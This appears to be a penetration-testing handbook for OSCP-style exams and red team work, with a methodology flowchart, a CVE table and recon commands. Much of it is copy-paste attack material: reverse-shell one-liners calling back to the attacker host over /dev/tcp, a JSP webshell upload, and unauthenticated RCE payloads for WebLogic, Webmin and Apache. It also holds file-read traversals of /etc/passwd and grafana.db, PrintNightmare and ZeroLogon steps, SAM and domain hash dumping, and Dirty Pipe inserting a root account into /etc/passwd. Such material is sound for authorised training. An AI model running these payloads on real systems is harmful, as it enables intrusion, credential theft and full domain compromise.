Offensive Security Resources

A comprehensive offensive security reference built for penetration testers and red teamers.


About This Book

This is a hands-on reference designed to be open during engagements, lab work, and exams. Every page follows the same principle: give you the exact command to run, explain why you're running it, and show what the output looks like so you know you're on the right track.

Who it's for:

  • Pentesters preparing for OSCP, OSEP, or similar certifications
  • Red teamers who need a quick-reference during engagements
  • Students working through HackTheBox, Proving Grounds, or TryHackMe
  • Anyone who wants a structured methodology instead of scattered notes

What it covers:

  • Full attack chain from initial nmap scan to domain admin
  • Common applications with default creds and known exploit paths
  • Port-specific enumeration guides
  • Linux and Windows privilege escalation
  • Active Directory attacks including BloodHound, delegation, and ticket forging
  • Supporting topics: file transfers, shell escapes, payload generation, password cracking, steganography, and persistence

How to Navigate

Start with the Methodology Flowchart. It's the first section in the sidebar and acts as a master decision tree for the entire book. When you're stuck, go back to the flowchart.

Use search. Press S or click the magnifying glass to search across all pages. Search for a port number, tool name, CVE, or technique and you'll find the relevant page instantly.

Follow the sidebar order. The book is structured as a sequential methodology. The sidebar flows from reconnaissance at the top through post-exploitation at the bottom. During an engagement, you'll generally work top to bottom.

The Quick Reference table below links directly to the most common needs:

NeedGo To
I don't know where to startMethodology Flowchart
Initial port scan commandsRecon & Scanning
Enumerate a specific portPort Enumeration
Web app testingWeb Attacks
Exploit a known applicationCommon Applications
Generate a payload or shellPayload Generation
Transfer files to targetFile Transfers
Crack a hashPassword Attacks
Linux rootLinux PrivEsc
Windows SYSTEMWindows PrivEsc
Domain compromiseActive Directory
Reach internal netPivoting
Escape a restricted shellRestricted Shell Escapes
Compile an exploitCompiling Exploits
Hidden data in filesSteganography
Maintain accessPersistence
Time managementDecision Trees

Keyboard shortcuts:

  • S — Open search
  • — Previous / next page
  • T — Toggle sidebar

Page Format

Every technique in this book follows the same structure so you can scan pages quickly:

### Technique Name

Description — why you'd use this and when it applies

​```bash
the exact command to copy and paste
​```

<details>
<summary>Example Output</summary>

What you should expect to see when it works,
so you know you're on the right track.

</details>
  • Title tells you what the technique does
  • Description tells you why and when to use it
  • Command block is copy-paste ready (replace $IP with the target, $LHOST with your attack box)
  • Example Output (expandable) shows what success looks like

Variables used throughout the book:

VariableMeaning
$IPTarget IP address
$LHOSTYour attacker IP address
$DOMAINTarget domain name
$DC_IPDomain Controller IP
$SUBNETTarget subnet (e.g., 10.10.10.0)

Tools You'll Need

This book assumes a Kali Linux attack box. Most tools below come pre-installed. Install anything missing before your engagement or exam.

Core tools (pre-installed on Kali):

ToolUsed For
nmapPort scanning and service detection
gobusterDirectory and vhost brute forcing
niktoWeb vulnerability scanner
hydraOnline brute force (SSH, FTP, HTTP, etc.)
johnHash cracking
hashcatGPU hash cracking
searchsploitExploit database search
msfvenomPayload generation
netcat (nc)Reverse shells, file transfers
curl / wgetHTTP requests and file downloads
enum4linuxSMB/RPC enumeration
smbclient / smbmapSMB share access
impacket (full suite)psexec, secretsdump, ntlmrelayx, mssqlclient, etc.
evil-winrmWinRM shell access
crackmapexecNetwork-wide credential spraying
rpcclientRPC enumeration
ldapsearchLDAP queries
sqlmapAutomated SQL injection (banned on OSCP exam)
tcpdumpPacket capture
chiselTCP tunneling without SSH
ligolo-ngAdvanced pivoting

Install separately:

# BloodHound + Neo4j
sudo apt install bloodhound neo4j -y

# Stego tools
sudo apt install steghide stegseek binwalk zsteg exiftool -y

# wpscan
sudo apt install wpscan -y

# mingw (cross-compile for Windows)
sudo apt install mingw-w64 -y

# Python dependencies
pip install bloodhound impacket --break-system-packages

# Ligolo-ng (download from GitHub releases)
# https://github.com/nicocha30/ligolo-ng/releases

Upload to target (keep these ready):

ToolPurposeGet It
linpeas.shLinux privilege escalation scannergithub.com/carlospolop/PEASS-ng
winpeas.exeWindows privilege escalation scannergithub.com/carlospolop/PEASS-ng
SharpHound.exeBloodHound data collectorgithub.com/BloodHoundAD/SharpHound
PowerUp.ps1Windows privesc checkergithub.com/PowerShellMafia/PowerSploit
Rubeus.exeKerberos abuse toolkitgithub.com/GhostPack/Rubeus
Seatbelt.exeWindows host surveygithub.com/GhostPack/Seatbelt
chiselTCP tunnel clientgithub.com/jpillora/chisel
pspyMonitor Linux processes without rootgithub.com/DominicBreuker/pspy
nc.exeNetcat for WindowsPre-compiled in Kali: /usr/share/windows-resources/binaries/

Pre-exam setup checklist:

□ Kali updated: sudo apt update && sudo apt upgrade
□ All tools above installed and tested
□ linpeas/winpeas/SharpHound downloaded to ~/tools/
□ Reverse shell one-liners saved in a cheat sheet
□ VPN connection tested
□ Screenshot tool ready (Flameshot recommended)
□ Note-taking app open (CherryTree, Obsidian, or this book)
□ Terminal multiplexer running (tmux)

Built by Jashid Sany for penetration testing and red team engagements.

Methodology Flowchart

Your master decision tree for engagements. When you're stuck, come back here.


PHASE 1: RECONNAISSANCE

┌─────────────────────────────────────┐
│         START: NEW TARGET           │
│            nmap -sC -sV -p- $IP     │
└──────────────┬──────────────────────┘
               │
               ▼
┌─────────────────────────────────────┐
│     WHAT PORTS ARE OPEN?            │
│     Organize by service type        │
└──────────────┬──────────────────────┘
               │
       ┌───────┼───────┬──────────┬──────────┐
       ▼       ▼       ▼          ▼          ▼
     Web    SMB/RPC   FTP      SSH/RDP    Database
   80/443  139/445    21       22/3389   3306/1433/5432

PHASE 2: PORT → ACTION MAP

I see a web port (80, 443, 8080, 8443)

Web Port Found
  │
  ├─→ Browse manually first (check source, robots.txt, comments)
  ├─→ whatweb / wappalyzer → Identify technology
  ├─→ gobuster dir → Find hidden directories
  ├─→ gobuster vhost → Find virtual hosts (if domain found)
  │
  ├─→ Is it a known app?
  │     ├─ WordPress  → wpscan, theme/plugin RCE
  │     ├─ Tomcat     → /manager default creds, WAR deploy
  │     ├─ Jenkins    → /script Groovy console
  │     ├─ Drupal     → Drupalgeddon2/3
  │     ├─ Joomla     → joomscan, template edit
  │     ├─ Grafana    → LFI CVE-2021-43798
  │     ├─ Webmin     → CVE-2019-15107
  │     ├─ GitLab     → CVE-2021-22205, explore repos
  │     ├─ phpMyAdmin → default creds, INTO OUTFILE
  │     ├─ Flask      → Werkzeug debugger, SSTI
  │     └─ CMS Made Simple → SQLi CVE-2019-9053
  │
  ├─→ Is there a login page?
  │     ├─ Try default creds (admin:admin, admin:password)
  │     ├─ Try found usernames + common passwords
  │     ├─ Check for SQLi in login form
  │     └─ Brute force with hydra (last resort)
  │
  └─→ Test for vulns:
        ├─ LFI → /etc/passwd, log poisoning
        ├─ RFI → Host PHP shell
        ├─ SQLi → Manual UNION, error-based, blind
        ├─ Command injection → ; | ` $() 
        ├─ File upload → Bypass extension filters
        ├─ SSTI → {{7*7}} in input fields
        └─ XXE → XML input points

I see FTP (21)

FTP Port Found
  │
  ├─→ Check version (nmap -sV)
  │     ├─ vsftpd 2.3.4 → Backdoor! (port 6200)
  │     └─ ProFTPD 1.3.5 → mod_copy (CPFR/CPTO)
  │
  ├─→ Try anonymous login: ftp $IP → anonymous / (no pass)
  │     ├─ YES → Download everything, check for creds/configs
  │     └─ NO  → Move on, try creds later
  │
  └─→ Can you upload? → Upload web shell if FTP root = web root

I see SSH (22)

SSH Port Found
  │
  ├─→ Do you have credentials? → Try them
  ├─→ Do you have a username? → Hydra with targeted wordlist
  ├─→ Do you have a private key? → chmod 600 + ssh -i
  ├─→ Old version? → Check searchsploit
  └─→ Otherwise → Come back after finding creds elsewhere
  
  ⚠️ Don't waste time brute forcing SSH without a username

I see SMB (139/445)

SMB Port Found
  │
  ├─→ enum4linux -a $IP
  ├─→ smbclient -L //$IP/ -N (list shares)
  ├─→ smbmap -H $IP (check permissions)
  ├─→ crackmapexec smb $IP -u '' -p '' --shares
  │
  ├─→ Readable shares? → Download everything, grep for creds
  ├─→ Writable shares? → Upload SCF/LNK for hash capture
  ├─→ Found usernames? → Try password spraying
  │
  ├─→ Check Samba version:
  │     └─ Samba 3.5-4.6 → SambaCry CVE-2017-7494
  │
  └─→ With creds:
        ├─ crackmapexec smb $IP -u user -p pass --shares
        ├─ psexec / wmiexec / smbexec for shell
        └─ secretsdump for hash extraction

I see DNS (53)

DNS Port Found
  │
  ├─→ Try zone transfer: dig axfr @$IP domain.com
  ├─→ Reverse lookup: dig -x $IP @$IP
  ├─→ Brute force subdomains: gobuster dns -d domain.com -w wordlist
  └─→ Add discovered hostnames to /etc/hosts

I see SMTP (25/465/587)

SMTP Port Found
  │
  ├─→ User enumeration: smtp-user-enum -M VRFY -U users.txt -t $IP
  ├─→ Check version → Exim 4.87-4.91? → RCE CVE-2019-10149
  └─→ Send phishing email (if client-side attacks in scope)

I see SNMP (161 UDP)

SNMP Port Found
  │
  ├─→ snmpwalk -v2c -c public $IP
  ├─→ onesixtyone -c community.txt $IP
  ├─→ snmpwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects
  └─→ Look for: running processes, installed software, usernames, passwords

I see Database (3306/1433/5432)

Database Port Found
  │
  ├─→ MySQL (3306)
  │     ├─ mysql -h $IP -u root -p
  │     ├─ Try: root:(empty), root:root, root:password
  │     └─ UDF exploitation for RCE
  │
  ├─→ MSSQL (1433)
  │     ├─ impacket-mssqlclient user:pass@$IP
  │     ├─ xp_cmdshell for RCE
  │     └─ Try: sa:sa, sa:(empty)
  │
  └─→ PostgreSQL (5432)
        ├─ psql -h $IP -U postgres
        ├─ COPY TO PROGRAM for RCE
        └─ Try: postgres:postgres

I see RDP (3389)

RDP Port Found
  │
  ├─→ Do you have creds? → xfreerdp /u:user /p:pass /v:$IP
  ├─→ Try: administrator:(found passwords)
  ├─→ Brute force: hydra -l admin -P wordlist.txt $IP rdp
  └─→ BlueKeep (CVE-2019-0708)? → nmap --script rdp-vuln-ms12-020

I see LDAP (389/636)

LDAP Port Found
  │
  ├─→ ldapsearch -x -H ldap://$IP -b "" -s base namingContexts
  ├─→ ldapsearch -x -H ldap://$IP -b "DC=domain,DC=local" 
  ├─→ Enumerate users, groups, computers
  └─→ Found domain? → AD enumeration path

I see NFS (2049)

NFS Port Found
  │
  ├─→ showmount -e $IP
  ├─→ Mount shares: mount -t nfs $IP:/share /mnt
  ├─→ Check for sensitive files (SSH keys, configs)
  └─→ no_root_squash? → Create SUID binary for privesc

I see WinRM (5985/5986)

WinRM Port Found
  │
  ├─→ Need valid credentials
  ├─→ evil-winrm -i $IP -u user -p 'password'
  └─→ User must be in "Remote Management Users" group

I see Redis (6379)

Redis Port Found
  │
  ├─→ redis-cli -h $IP → Try no auth
  ├─→ INFO, CONFIG GET dir, CONFIG GET dbfilename
  ├─→ Write SSH key: redis-cli set payload "ssh-rsa ..."
  └─→ Write web shell if web root known

PHASE 3: GOT A SHELL — NOW WHAT?

Got Initial Shell
  │
  ├─→ IMMEDIATELY:
  │     ├─ whoami / id
  │     ├─ hostname
  │     ├─ ip addr / ifconfig (look for dual-homed)
  │     └─ Upgrade shell: python3 -c 'import pty;pty.spawn("/bin/bash")'
  │
  ├─→ LINUX:
  │     ├─ sudo -l (FIRST THING — check GTFOBins)
  │     ├─ find / -perm -4000 2>/dev/null (SUID)
  │     ├─ cat /etc/crontab + ls -la /etc/cron*
  │     ├─ LinPEAS / linpeas.sh
  │     ├─ Check: /etc/passwd, /etc/shadow (readable?)
  │     ├─ Check: /home/*/.bash_history, /home/*/.ssh/
  │     ├─ Check: env vars, config files, DB connections
  │     ├─ ps aux → running services as root?
  │     ├─ netstat -tulnp → internal services?
  │     └─ Kernel version → searchsploit
  │
  └─→ WINDOWS:
        ├─ whoami /priv (SeImpersonate? → Potato attacks)
        ├─ whoami /groups
        ├─ systeminfo → OS version, patches
        ├─ WinPEAS / winpeas.exe
        ├─ Check: stored creds, autologon, SAM backups
        ├─ reg query for passwords
        ├─ Check services: sc query, accesschk
        ├─ Scheduled tasks: schtasks /query
        ├─ netstat -ano → internal services?
        └─ PowerUp.ps1 / Seatbelt.exe

PHASE 4: ACTIVE DIRECTORY PATH

Found AD Environment
  │
  ├─→ FROM FOOTHOLD:
  │     ├─ BloodHound (SharpHound.exe -c All)
  │     ├─ Enumerate users: net user /domain
  │     ├─ Enumerate groups: net group /domain
  │     ├─ Find SPNs: setspn -L on interesting accounts
  │     └─ Check: who am I in AD? What groups?
  │
  ├─→ QUICK WINS:
  │     ├─ Kerberoast → hashcat -m 13100
  │     ├─ AS-REP Roast → hashcat -m 18200
  │     ├─ Password spray: Season+Year! (Summer2025!)
  │     └─ Responder → capture NTLMv2 → crack or relay
  │
  ├─→ LATERAL MOVEMENT:
  │     ├─ Pass the Hash (crackmapexec, psexec)
  │     ├─ Pass the Ticket (Rubeus)
  │     ├─ WinRM with found creds
  │     └─ RDP with found creds
  │
  ├─→ ESCALATION TO DA:
  │     ├─ BloodHound → "Shortest Path to DA"
  │     ├─ Delegation attacks (unconstrained/constrained/RBCD)
  │     ├─ PrintNightmare
  │     ├─ ACL abuse (GenericAll, WriteDACL, etc.)
  │     └─ DCSync (if you have the rights)
  │
  └─→ POST-DA:
        ├─ secretsdump → dump all hashes
        ├─ Golden Ticket (krbtgt hash)
        ├─ Loot: SYSVOL, GPP passwords, LAPS
        └─ Proof: screenshot of DA + flag

PHASE 5: STUCK? RESET CHECKLIST

I'm Stuck
  │
  ├─→ Did I scan ALL ports? (nmap -p- not just top 1000)
  ├─→ Did I scan UDP? (nmap -sU --top-ports 100)
  ├─→ Did I check every version for exploits? (searchsploit)
  ├─→ Did I try ALL found creds on ALL services?
  ├─→ Did I check for virtual hosts / subdomains?
  ├─→ Did I read source code / comments carefully?
  ├─→ Did I check robots.txt, .git, .env, backup files?
  ├─→ Did I try default creds on every login?
  ├─→ Did I look at EVERYTHING on accessible shares?
  ├─→ Am I looking at an internal service? (port forward it)
  │
  └─→ Still stuck after all this?
        ├─ Take a 10-minute break
        ├─ Re-read your notes from scratch
        └─ Move to another machine and come back

OSCP TIME MANAGEMENT

23h 45m Exam Timer
  │
  ├─→ FIRST 30 MIN:
  │     Full nmap scan on ALL machines simultaneously
  │     Read all results, plan attack order
  │
  ├─→ HOURS 1-8: AD SET (40 points)
  │     ├─ Must get all 3 machines in the chain
  │     ├─ Start with enumeration → foothold → privesc → lateral → DA
  │     └─ If stuck after 3 hours on one step → move to standalones
  │
  ├─→ HOURS 8-16: STANDALONE MACHINES (20 pts each)
  │     ├─ Pick the easiest-looking one first
  │     ├─ 2-3 hours per machine MAX
  │     └─ Low-priv shell = 10 pts, root = 20 pts
  │
  ├─→ HOURS 16-20: RETURN TO STUCK MACHINES
  │     └─ Fresh eyes often find what you missed
  │
  ├─→ LAST 3 HOURS:
  │     ├─ SCREENSHOTS of every proof.txt / local.txt
  │     ├─ Document exact steps to reproduce
  │     └─ Start writing report notes
  │
  └─→ SCREENSHOT CHECKLIST:
        ├─ ip addr / ipconfig showing target IP
        ├─ whoami showing root/SYSTEM/DA
        ├─ cat proof.txt / type proof.txt
        └─ All in ONE screenshot together

When in doubt: enumerate harder, spray creds wider, and check internal ports.

CVE Database

Known vulnerabilities commonly encountered on OSCP-style boxes, Proving Grounds, and HackTheBox. Organized by category with version ranges, PoC links, and quick usage examples.

How to use this page:

  1. Identify the service and version on your target
  2. Find it in the table below
  3. Follow the PoC link or use the command provided

Always check SearchSploit first:

searchsploit <service> <version>
searchsploit -m <exploit_id>    # Mirror exploit to current directory

WEB APPLICATIONS

WordPress

CVEAffected VersionDescriptionPoC
CVE-2020-25213WP File Manager < 6.9Unauthenticated file upload RCEGitHub
CVE-2021-24145Modern Events Calendar < 5.16.5Authenticated file upload RCEExploitDB
CVE-2022-0739BookingPress < 1.0.11Unauthenticated SQLiGitHub
CVE-2023-2732MStore API < 3.9.3Authentication bypassWPScan
# CVE-2020-25213 — WP File Manager unauthenticated upload
curl -F 'cmd=upload' -F 'target=l1_Lw' \
  -F 'upload[]=@shell.php' \
  http://$IP/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
# Shell at: http://$IP/wp-content/plugins/wp-file-manager/lib/files/shell.php

Drupal

CVEAffected VersionDescriptionPoC
CVE-2018-7600Drupal < 7.58 / < 8.3.9Drupalgeddon2 — Unauthenticated RCEGitHub
CVE-2018-7602Drupal < 7.59 / < 8.5.3Drupalgeddon3 — Authenticated RCEGitHub
CVE-2019-6340Drupal 8.5.x < 8.5.11 / 8.6.x < 8.6.10REST module deserialization RCEGitHub
# CVE-2018-7600 — Drupalgeddon2 (most common)
python3 drupalgeddon2.py http://$IP/

# Metasploit:
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS $IP
run

Joomla

CVEAffected VersionDescriptionPoC
CVE-2015-8562Joomla 1.5 - 3.4.5Object injection RCE via HTTP headersGitHub
CVE-2017-8917Joomla 3.7.0SQLi in com_fieldsGitHub
CVE-2023-23752Joomla 4.0.0 - 4.2.7Unauthenticated information disclosureGitHub
# CVE-2023-23752 — Information disclosure (leaks DB creds)
curl -s "http://$IP/api/index.php/v1/config/application?public=true" | python3 -m json.tool

# CVE-2017-8917 — SQLi
sqlmap -u "http://$IP/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 -p list[fullordering] --dbs

Apache Tomcat

CVEAffected VersionDescriptionPoC
CVE-2017-12617Tomcat 7.0.0-7.0.81 / 8.5.0-8.5.22PUT method RCE via JSP uploadGitHub
CVE-2020-1938Tomcat < 9.0.31 / < 8.5.51 / < 7.0.100Ghostcat — AJP file read/RCEGitHub
CVE-2019-0232Tomcat 7/8/9 on Windows with CGICGI servlet command injectionExploitDB
# CVE-2020-1938 — Ghostcat (AJP port 8009)
python3 ajpShooter.py http://$IP:8009 /WEB-INF/web.xml read

# CVE-2017-12617 — PUT method JSP upload
curl -X PUT "http://$IP:8080/shell.jsp/" -d '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'

CMS Made Simple

CVEAffected VersionDescriptionPoC
CVE-2019-9053CMSMS < 2.2.10Blind SQLi — Dumps admin credentialsGitHub
python3 cmsms_sqli.py -u http://$IP/ --crack -w /usr/share/wordlists/rockyou.txt

GitLab

CVEAffected VersionDescriptionPoC
CVE-2021-22205GitLab 11.9 - 13.10.2Unauthenticated RCE via image uploadGitHub
CVE-2023-7028GitLab 16.1 - 16.7.1Account takeover via password resetGitHub
# CVE-2021-22205 — Unauthenticated RCE
python3 CVE-2021-22205.py -u http://$IP -c "bash -i >& /dev/tcp/$LHOST/4444 0>&1"

Grafana

CVEAffected VersionDescriptionPoC
CVE-2021-43798Grafana 8.0.0 - 8.3.0Unauthenticated arbitrary file readGitHub
curl --path-as-is "http://$IP:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
# Grab the database:
curl --path-as-is "http://$IP:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db" -o grafana.db

Jenkins

CVEAffected VersionDescriptionPoC
CVE-2024-23897Jenkins < 2.442 / LTS < 2.426.3Arbitrary file read via CLIGitHub
CVE-2019-1003000Script Security Plugin < 1.49Sandbox bypass RCEExploitDB
CVE-2018-1000861Jenkins < 2.154 / LTS < 2.138.4Unauthenticated RCEGitHub
# CVE-2024-23897 — File read via CLI
java -jar jenkins-cli.jar -s http://$IP:8080/ help "@/etc/passwd"

Webmin

CVEAffected VersionDescriptionPoC
CVE-2019-15107Webmin 1.890 - 1.920Unauthenticated RCE via password_change.cgiGitHub
CVE-2012-2982Webmin < 1.590Authenticated RCE via file managerExploitDB
# CVE-2019-15107 — Unauthenticated RCE
curl -sk "https://$IP:10000/password_change.cgi" \
  -d 'user=root&pam=&expired=2&old=id%7Cid&new1=test&new2=test'

WebLogic

CVEAffected VersionDescriptionPoC
CVE-2020-14882WebLogic 10.3.6 / 12.x / 14.xUnauthenticated RCEGitHub
CVE-2019-2725WebLogic 10.3.6 / 12.1.3Deserialization RCEGitHub
# CVE-2020-14882 — WebLogic unauthenticated RCE
curl "http://$IP:7001/console/css/%252e%252e%252fconsole.portal" \
  -H "cmd: id"

Magento

CVEAffected VersionDescriptionPoC
CVE-2015-1397Magento < 1.9.2.0Shoplift SQLi — Create admin accountExploitDB
CVE-2022-24086Magento 2.3.x / 2.4.xTemplate injection RCEGitHub
# CVE-2015-1397 — Shoplift (creates admin: forme/forme)
python2 shoplift.py http://$IP/

NETWORK SERVICES

FTP

CVEAffected VersionDescriptionPoC
CVE-2011-2523vsftpd 2.3.4Backdoor — Shell on port 6200Metasploit
CVE-2015-3306ProFTPD 1.3.5mod_copy — Unauthenticated file copyExploitDB
CVE-2019-12815ProFTPD < 1.3.5b / 1.3.6mod_copy arbitrary file copyExploitDB
# vsftpd 2.3.4 backdoor
nc $IP 21
USER test:)
PASS test
# Then: nc $IP 6200

# ProFTPD mod_copy
nc $IP 21
SITE CPFR /etc/passwd
SITE CPTO /var/www/html/passwd.txt

SMB / Samba

CVEAffected VersionDescriptionPoC
MS17-010Windows XP - Server 2016EternalBlue — Unauthenticated RCEGitHub
CVE-2017-7494Samba 3.5.0 - 4.6.4SambaCry — RCE via writable shareMetasploit
MS08-067Windows XP / Server 2003 / Vista / 2008NetAPI RCE — Classic exploitGitHub
# MS17-010 — EternalBlue
nmap --script smb-vuln-ms17-010 -p 445 $IP
# Metasploit:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS $IP
run

# CVE-2017-7494 — SambaCry
use exploit/linux/samba/is_known_pipename
set RHOSTS $IP
run

SSH

CVEAffected VersionDescriptionPoC
CVE-2018-15473OpenSSH < 7.7Username enumerationGitHub
CVE-2016-20012OpenSSH < 8.2Banner-based user enumerationExploitDB
# CVE-2018-15473 — Username enumeration
python3 ssh_enum.py $IP -U users.txt
# Metasploit:
use auxiliary/scanner/ssh/ssh_enumusers

SMTP

CVEAffected VersionDescriptionPoC
CVE-2019-10149Exim 4.87 - 4.91"Return of the WIZard" — Unauthenticated RCEGitHub
CVE-2017-7692SquirrelMail < 1.4.22Authenticated RCEExploitDB
# CVE-2019-10149 — Exim RCE
python3 raptor_exim_wiz.py -t $IP -p 25 -c "bash -i >& /dev/tcp/$LHOST/4444 0>&1"

WEB SERVERS

Apache

CVEAffected VersionDescriptionPoC
CVE-2014-6271Bash (via Apache CGI)Shellshock — RCE via HTTP headersExploitDB
CVE-2021-41773Apache 2.4.49Path traversal + RCEGitHub
CVE-2021-42013Apache 2.4.50Path traversal + RCE (bypass of 41773 fix)GitHub
# Shellshock
curl -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/$LHOST/4444 0>&1" http://$IP/cgi-bin/script.sh

# CVE-2021-41773 — Apache path traversal + RCE
curl "http://$IP/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
curl "http://$IP/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/bash" -d 'echo; id'

IIS

CVEAffected VersionDescriptionPoC
CVE-2017-7269IIS 6.0 (Windows Server 2003)WebDAV buffer overflow RCEGitHub
MS15-034IIS (HTTP.sys)Integer overflow — DoS / info disclosureExploitDB
# CVE-2017-7269 — IIS 6.0 WebDAV
python2 iis6_exploit.py $IP 80 $LHOST 4444
# Metasploit:
use exploit/windows/iis/iis_webdav_scstoragepathfromurl

LINUX PRIVILEGE ESCALATION

CVEAffected VersionDescriptionPoC
CVE-2016-5195Linux Kernel < 4.8.3Dirty COW — Write to read-only filesGitHub
CVE-2021-4034Polkit (all major distros)PwnKit — pkexec local rootGitHub
CVE-2021-3156Sudo 1.8.2 - 1.9.5p1Baron Samedit — Heap overflow rootGitHub
CVE-2022-0847Linux Kernel 5.8 - 5.16.11Dirty Pipe — Overwrite read-only filesGitHub
CVE-2022-2588Linux Kernel < 5.19Route4 use-after-free local rootGitHub
CVE-2023-0386Linux Kernel < 6.2OverlayFS privilege escalationGitHub
CVE-2023-32233Linux Kernel < 6.4Netfilter nf_tables local rootGitHub
# PwnKit (CVE-2021-4034) — Works on almost every unpatched Linux
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit

# Dirty COW (CVE-2016-5195)
gcc -pthread dirty.c -o dirty -lcrypt
./dirty newpassword

# Baron Samedit (CVE-2021-3156)
# Check if vulnerable:
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# Exploit:
python3 CVE-2021-3156.py

# Dirty Pipe (CVE-2022-0847)
gcc exploit.c -o exploit
./exploit /etc/passwd 1 $'\npiped:$1$piped$password:0:0::/root:/bin/bash\n'
su piped  # password: password

WINDOWS PRIVILEGE ESCALATION

CVEAffected VersionDescriptionPoC
CVE-2020-0787Windows 10 / Server 2016-2019BITS arbitrary file write → SYSTEMGitHub
CVE-2020-1472Windows Server (Netlogon)ZeroLogon — Domain admin in secondsGitHub
CVE-2021-1675Windows (Print Spooler)PrintNightmare — LPE / RCE to SYSTEMGitHub
CVE-2021-36934Windows 10 (1809+)HiveNightmare — Read SAM as userGitHub
CVE-2022-26923AD Certificate ServicesCertifried — Domain user to DAGitHub
MS16-032Windows 7/8/10 / Server 2008-2012Secondary Logon handle privescExploitDB
MS16-098Windows 8.1 / Server 2012Kernel exploit via RGNOBJExploitDB
# PrintNightmare (CVE-2021-1675)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f dll -o evil.dll
impacket-smbserver share $(pwd) -smb2support
python3 CVE-2021-1675.py domain.local/user:'password'@$IP '\\$LHOST\share\evil.dll'

# ZeroLogon (CVE-2020-1472) — Resets DC machine password
python3 zerologon_tester.py DC_NAME $DC_IP
python3 cve-2020-1472-exploit.py DC_NAME $DC_IP
impacket-secretsdump -no-pass -just-dc domain.local/DC_NAME\$@$DC_IP

# HiveNightmare (CVE-2021-36934) — Copy SAM as regular user
icacls C:\Windows\System32\config\SAM
# If readable:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

# MS16-032
Import-Module .\Invoke-MS16-032.ps1
Invoke-MS16-032

ACTIVE DIRECTORY

CVEAffected VersionDescriptionPoC
CVE-2020-1472Windows Server (Netlogon)ZeroLogon — Reset DC machine accountGitHub
CVE-2021-1675Windows (Print Spooler)PrintNightmare — RCE as SYSTEMGitHub
CVE-2021-42278 + CVE-2021-42287AD (all versions)noPac — Domain user to DAGitHub
CVE-2022-26923AD Certificate ServicesCertifried — Machine account to DAGitHub
# noPac (CVE-2021-42278 + CVE-2021-42287) — User to DA
python3 noPac.py domain.local/user:'password' -dc-ip $DC_IP -dc-host DC01 --impersonate administrator -dump

# Certifried (CVE-2022-26923) — Via AD CS
certipy account create -u user@domain.local -p 'password' -dc-ip $DC_IP -user machine$ -dns dc.domain.local
certipy req -u machine$@domain.local -p 'password' -dc-ip $DC_IP -ca CORP-CA -template Machine
certipy auth -pfx dc.pfx -dc-ip $DC_IP

QUICK LOOKUP WORKFLOW

When you find a service version, follow this process:

1. searchsploit <service> <version>        → Local exploit database
2. Google: "<service> <version> exploit"    → Recent PoCs
3. Check this page                          → Curated OSCP-relevant CVEs
4. GitHub search: "CVE-YYYY-XXXXX"         → Find PoC repos
5. HackTricks: book.hacktricks.wiki        → Methodology + exploits

📡 Recon & Scanning

Initial reconnaissance and port scanning methodology. Run these first on every target.


NETWORK SCANNING

Quick TCP scan (top 1000)

Start here. Fast results. — Find open ports quickly

nmap -sC -sV -oN nmap/initial $IP
Example Output
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1
80/tcp open  http    Apache 2.4.29
443/tcp open ssl/http Apache 2.4.29

Full TCP port scan

Run in background while enumerating initial results — Don't miss high ports

nmap -p- -sC -sV -oN nmap/full $IP
Example Output
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8443/tcp  open  https-alt
10000/tcp open  webmin

UDP scan (top 20)

UDP is slow. Top 20 catches SNMP, TFTP, DNS — SNMP and TFTP are common wins

nmap -sU --top-ports 20 -oN nmap/udp $IP
Example Output
PORT    STATE SERVICE
53/udp  open  domain
161/udp open  snmp
69/udp  open  tftp

Aggressive scan on specific ports

After finding ports, dig deeper — OS detection, scripts, traceroute

nmap -A -p 80,443,8080 -oN nmap/targeted $IP
Example Output
nmap -A -p 80,443 10.10.10.5
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache 2.4.29
|_http-title: My Website
OS: Linux 4.15
Traceroute: 1 hop

Vulnerability scan

Run against interesting services — Quick CVE check

nmap --script vuln -p <ports> $IP
Example Output
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution
|   State: VULNERABLE
|   Risk factor: HIGH

Rustscan (fast alternative)

Scans all 65535 ports fast, passes to nmap — Faster than nmap full scan

rustscan -a $IP -- -sC -sV
Example Output
rustscan -a 10.10.10.5 -- -sC -sV
Open 10.10.10.5:22
Open 10.10.10.5:80
Open 10.10.10.5:8443
(All 65535 ports scanned in 3 seconds)

SERVICE VERSION RESEARCH

Google each service + version

Include version numbers — Known CVEs are free wins

Search: "Apache 2.4.49 exploit"
Example Output
Search result: 'Apache 2.4.49 - Path Traversal & RCE (CVE-2021-41773)'
Exploit-DB: https://www.exploit-db.com/exploits/50383

SearchSploit

Check for public exploits — Local exploit database

searchsploit apache 2.4.49
Example Output
Apache 2.4.49 - Path Traversal  | exploits/multiple/webapps/50383.sh
vsftpd 2.3.4 - Backdoor         | exploits/unix/remote/49757.py

Check exploit-db.com

More detail than searchsploit — Proof of concepts available

Browse exploit-db for service version
Example Output
https://www.exploit-db.com/exploits/50383
Apache 2.4.49 - Path Traversal
Verified: Yes | Author: n/a
Type: webapps | Platform: Multiple
(Download exploit, read the code first)

Check CVE databases

Official CVE details — Severity scores, affected versions

Google: site:nvd.nist.gov <service> <version>
Example Output
NVD: CVE-2021-41773
CVSS Score: 7.5 (HIGH)
